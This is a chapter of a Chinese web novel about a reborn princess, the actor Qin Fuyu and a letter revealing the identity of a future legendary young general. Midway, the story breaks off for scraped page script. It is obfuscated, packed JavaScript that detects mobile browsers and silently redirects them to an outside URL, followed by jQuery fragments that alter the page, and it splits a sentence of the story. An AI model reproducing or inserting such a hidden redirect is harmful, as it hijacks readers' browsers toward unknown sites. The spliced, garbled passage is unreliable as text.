22. 少年将军

作品:《皇女为帝

    祝景乾坐在屋内唯一的被褥上,幽怨地望着秦扶玉。


    “你真是胆子大,住哪间不好,偏偏住这间。”


    秦扶玉不置可否地拢了拢衣袖,没说什么。


    “这间屋子真了不起啊,两代帝王在这里相遇,然后燕王朝从这里结束,云昭王朝从这里开始,如今就这样荒废在这里,无人问津......”祝景乾感叹。


    看到祝景乾脸色已恢复如常,他问:“公主殿下不怕了吗?”


    祝景乾反问:“为什么要怕?”


    她刚想接着说“我什么尸山火海没见过”,却猛然意识到自己重生这件事不能让任何人知道,于是生生忍住了,继而改口道:“我什么场面没见过?父皇亲自处刑那些受贿贪污的臣子,我照样在旁边喝茶吃点心!”


    如果轻烟在场,她一定会偷偷笑起来,因为祝景乾一见到锋利无比的刀刃,就会被吓得当场晕过去......当然,这是上一世的从前,多年后敌军来犯,祝景乾被迫在卧房里摆满刀剑,已经不怕了。


    “那你呢?你为什么不怕?”祝景乾又问。


    听到这个问题,秦扶玉显然是有些发愣,眼神又开始躲闪起来,在他的睫毛还没垂下去的时候,祝景乾清清楚楚看到了他眼底的那抹痛苦。


    但是他非常善于调整自己情绪,下一刻便含笑道:“公主不怕,我自然也不怕。”


    “你什么时候学了巧嘴滑舌这一套了?”


    秦扶玉笑了笑,没回答,开始沿着墙边缓缓地走,随着他慢慢地走,整个人的气场都渐渐变得有些压抑,不知道在想什么。


    直到走回祝景乾身边,他才抬起头道:“师父送我的戏服,和殿下送我的簪子,都不见了。”


    他脸色平静,似乎不是丢了东西,只是在讲一个普通而乏味的故事。


    “会不会被人偷了?”


    秦扶玉皱起眉头想了想,道:“除了戏班子那些人之外,就没人知道我住这里了......树倒猢狲散,我被太子殿下关进宗人府那几天,这些人可能以为我再也回不来了,来这里搜刮我的财物也说不定。”


    “你看上去这么穷,还有人记得搜刮你?”祝景乾刚想开一句玩笑,却看到秦扶玉脸色阴沉得紧,连忙严肃起来,“你好好想想,这些东西原来都放在哪里?”


    她知道那件戏服对他的意义重大,而且做工这么好的戏服,若是落入不识货的人手中,简直暴殄天物。


    那件金累丝点翠凤尾发簪更不必说了,出自宫廷的东西,就如同烫手山芋一般,没人敢买卖,要是有胆大包天的人敢融了,就可以治死罪了。


    秦扶玉摸着下巴,细细思索起来。


    “阿玉。”


    秦扶玉转头看向祝景乾。


    祝景乾摇摇头,表示不是她喊的。


    两人双双回头。


    一名鬓发银白的老妪不知道什么时候出现在他们背后,一只手背在身后,一只手扶着门槛,眼神似乎有些不太好,口中试探着喊道:“阿玉,你回来了?”


    祝景乾认出了这个人,她就是那日在萃英坊里唯一一个布衣平民,没想到此刻竟出现在这里,看样子和秦扶玉关系不错。


    “章婆婆,你怎么来了?”秦扶玉果然跑到门口,扶着她慢慢走进屋里。


    “我听脚步声,屋里有第二个人,对么?”章婆婆虽然年老,但是身子却很硬朗,甩开他的手便走到床边,离祝景乾的距离不过咫尺之间。


    “章婆婆好。”祝景乾不知道该说什么,便学着秦扶玉的称呼,老老实实地问好。


    “公主殿下?”章婆婆记得她的声音,但显然没预料到是她,大吃一惊,站起身来便要跪下。


    祝景乾按住了她的肩膀,道:“这里只有我们三个,就不必行君臣之礼了。”


    随后她望向秦扶玉,秦扶玉心领神会,开口介绍道:“这是住在另一条巷子里的章婆婆,自从唯一的外孙参军了后,就一直一个人生活,有时外孙从军中来信,我就会读给她听,再把她想说的话写在纸上寄回去。有时候我实在没钱了,也会找章婆婆接济一些……章婆婆她待我很好。”


    那她的儿子或者女儿呢?祝景乾心生疑惑,却很识趣地没有问出来。


    “阿玉朋友很少,我从未见他和别人打过交道,除了前些日子经常来找他的一个书生之外,便是你了。”章婆婆笑呵呵道。


    想来这书生就是赵渭了,祝景乾和秦扶玉对上视线,眼神里都有说不出的尴尬。


    “对了,我来这里并不是碰巧,我是来还你的东西的。”章婆婆突然想起来,从腰间的布包中扯出一件衣服,虽然皱了点,但是还是看得出是一件很精致的衣裳。


    “这是……我的戏服?”秦扶玉接过,抖开,上好的面料如牛奶般倾泻,仅仅是抖了抖,就又恢复原来那般光滑的质感。


    “那日之后我听闻你被押走了,心急得不行,幸而阿奴从军中回家探亲,知道此消息时候也是十分着急,他便担心有人趁机洗劫你的财物,草草收拾了一下,交给我之后又回到军中了,没有东西丢吧?”


    秦扶玉把戏服检查了个遍,又摸了摸里侧的衣袋,直到摸到那一支硬硬的簪子,他才松一口气。


    “多谢婆婆了,东西都在,没有缺失的。”他收好戏服,叠好,重新放回被褥下。


    “那就好……这几天,你没受什么委屈吧,太子殿下虽然仁厚,但难免有自作主张的手下。”


    “没有,皇兄对他可好了,院子大,又吃好喝好,无聊了还有书看。”祝景乾很快回答。


    “好,好……”章婆婆连连点头。


    “对了,这几日有新的书信到吗?我现在就读。”秦扶玉似乎不想再继续这个话题,继而询问章婆婆。


    她一听罢这句话,开心地笑了起来:“有的有的,虽然我看不懂,但是他在纸上画了一个很大的笑脸,应该是碰上了什么好事,但是我怕有心人记着,暗中嫉妒我们家阿奴,一直等你回来呢。”


    秦扶玉也笑起来:“好吧,那我们现在就过去,不待在这里了。”


    祝景乾轻轻扯了扯他的袖子,待他微微弯腰,便问道:“那你以后还住这里吗?”


    秦扶玉的眼神闪动了一下,不确定地摇了摇头。


    章婆婆茫然地看着两人的方向,祝景乾想起来她看不见,松开秦扶玉的袖子道:“那我们走吧,我也要去。”


    .


    “婆婆,我很好,我是我们新军营里最小的,他们都很照顾我。”祝景乾捏着粗糙的信纸,仔细辨认上头七扭八歪的字。


    章婆婆满足地笑了。


    “百户长道我们赶上好时候了,云京城五大军营之一的中军营新分出了一个旗营,我们新军营的训练场地恰好和他们的驻地相邻,便决定从我们这一营中选出五百人充任……”祝景乾边看边读,读到最后不由自主喃喃道。


    “旗营啊……”她对这个新拨出的营印象很深刻,因为在将来,一位威震四海的少年将军正是在此横空出世。


    旗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810996|175235||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    营以机动为主,专门管理皇家的各种旗帜,例如上朝时的龙旗,秋猎时的猎旗,士子考试时的文旗……几乎每一个重要场合,都少不了这些扛旗人。


    说是扛旗,实则远远没这么简单,不仅要负责各种旗帜的收纳护理,也兼并着护卫的职责,而且离皇上非常之近,名义上是皇城军队,实际上早已潜移默化成了皇帝的亲属军队。


    没有特别分出旗营的时候,这些人都是从五营中一层层筛选出来的,运气好的话被皇帝留下,赐一官半职,即便没有被注意到,回到营中也会让其他人不敢小觑,今后的晋升之路多是平步青云般轻松。


    这样一个肥差,自然引起不少人争斗,明里暗里引发一系列贪污受贿、打架斗殴等不良事件,五营之上的镇军大将军请示皇上后,决定从中营下设“旗营”,今后集中管理,自称一班精锐。


    这样好的机会,竟落在了新军营这些毛头小子的头上,祝景乾笑笑,也不怪章婆婆的外孙如此兴奋。


    见祝景乾又有些发愣,秦扶玉赶紧拿过她手上的信纸,道:“殿下渴了吧,先休息休息喝口水吧,让我来读……百户长大人道,这次选拔分为三轮,第三轮由皇上的心腹作判官,到时候皇上也会亲自观看……”


    祝景乾没理会秦扶玉,默默思考着自己的事情。


    那位少年将军着实厉害,从被选入旗营,到被皇上注意,再到被封为中侯,不过一年的时间。


    而且之后又以副将的身份,跟着平昭大将军第一次上战场,只身一人杀入南疆包围圈,一刀斩下敌军头颅,无伤而返,夸张得好似话本上的情节。


    之后更是十战十胜,收复一千万公顷的失地,所到之处敌军皆风声鹤唳,周围列国俱闻风丧胆,纷纷前来云京拜见永徽帝,以示归顺。


    永徽帝大喜,封该少年为镇国大将军,他也是云昭王朝最年轻的将军,一生犹如传奇。


    就是这样一个传奇少年,也逃不过天妒英才的宿命,不出几年,他便染病而死,至于是什么病,请了好多个御医都诊不出来,只好作罢,以国礼下葬。


    他这一生,成名也匆匆,身亡也匆匆。


    祝景乾想过,若是他活到前朝敌军压境那一刻,云昭国未必不能逆转乾坤,扶危定倾。


    不过据说他出身微寒,一路走来所引起的议论颇多,士族里不乏嫉妒他成就的子弟,故有人道其实这位少年将军的死,是彻彻底底的阴谋。


    要不选拔的时候自己去看看?若真是刚正赤血的好男儿,祝景乾也不忍心他日后被人加害,况且若是真能与之交好……她的嘴角不由自主地勾起。


    秦扶玉瞥了她一眼,已经对这些瞬息万变的表情习以为常,便重新把目光落回纸上,接着读下去:“婆婆,等我选拔上了,挣了大功名,我们就可以住上大宅子了!婆婆保重。章重楼。”


    “什么?”祝景乾猛然问。


    “怎么了?”尽管已经习以为常,但是秦扶玉偶尔还是会被吓一跳。


    “他叫什么名字?”


    秦扶玉莫名其妙地看着她,重复了一遍:“章重楼。”


    章婆婆在一旁附和:“其实他小名叫阿奴,是前几年认识了阿玉,阿玉道每个人都该有个正经名儿,便为他取作……什么来着?什么什么楼?”


    “章重楼。”秦扶玉微笑接话。


    祝景乾愣住了。


    云昭十九年,旗营中侯章重楼,永徽帝亲封为镇国大将军,一时威名赫赫。


    祝景乾次日便进了宫。